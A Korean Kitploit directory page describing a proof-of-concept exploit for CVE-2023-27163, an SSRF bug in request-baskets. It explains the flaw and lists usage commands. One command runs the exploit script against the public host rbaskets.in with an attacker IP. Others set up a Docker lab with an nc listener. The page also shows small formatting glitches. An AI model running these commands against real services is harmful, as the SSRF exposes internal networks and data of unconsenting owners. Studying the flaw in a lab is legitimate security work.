Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-27163 — request-baskets (V<= v.1.2.1)의 서버 측 요청 위조(SSRF) 개념 증명 | Kitploit
도구/GitHubGitHub/mastercode112/cve-2023-27163
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubmastercode112/cve-2023-27163

CVE-2023-27163

request-baskets (V<= v.1.2.1)의 서버 측 요청 위조(SSRF) 개념 증명

저장소 보기
22년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Request-Baskets의 SSRF 개념 증명 (CVE-2023-27163)

이 저장소는 request-baskets 버전 1.2.1까지에서 발견된 서버 측 요청 위조(SSRF) 취약점인 CVE-2023-27163에 대한 개념 증명(PoC)을 포함합니다. 이 취약점은 조작된 API 요청을 통해 /api/baskets/{name} 구성 요소를 악용하여 공격자가 네트워크 리소스와 민감한 정보에 접근할 수 있게 합니다.

사용법

root@kitploit:~
git clone https://github.com/MasterCode112/CVE-2023-27163.git
bash ./CVE-2023-27163.sh https://rbaskets.in/ <공격자 IP>

어떻게 작동하나요?

Request-baskets는 특정 경로(소위 basket)에 요청을 수집하고 등록하기 위해 구축된 웹 애플리케이션입니다. 사용자가 basket을 생성할 때 요청을 전달할 다른 서버를 지정할 수 있습니다. 여기서 문제는 사용자가 네트워크에서 차단된 애플리케이션과 같은 의도하지 않은 서비스를 지정할 수 있다는 점입니다.

예를 들어, 서버가 Request-baskets(포트 55555)와 포트 8000의 Flask 웹 서버를 호스팅한다고 가정해 보겠습니다. Flask는 localhost와만 상호 작용하도록 구성되어 있습니다. http://localhost:8000으로 전달되는 basket을 생성함으로써 공격자는 이전에 제한되었던 Flask 웹 서버에 접근할 수 있습니다.

localhost에서 테스트

PoC 이미지

  1. Request-Baskets의 Docker 컨테이너 시작
root@kitploit:~
docker run -p 55555:55555 darklynx/request-baskets:v1.2.1
``` git clone https://github.com/MasterCode112/CVE-2023-27163.git

2. PoC 다운로드

```shell
git clone https://github.com/MasterCode112/CVE-2023-27163.git
  1. 연결 대기
root@kitploit:~
nc -lvp 8000
  1. Docker 호스트 IP 주소 저장
root@kitploit:~
DOCKER_IP=$(ifconfig docker0 | grep inet | head -n 1 | awk '{ print $2 }')
  1. PoC 실행
root@kitploit:~
./CVE-2023-27163.sh http://127.0.0.1:55555/ http://$DOCKER_IP:8000/
도구 다운로드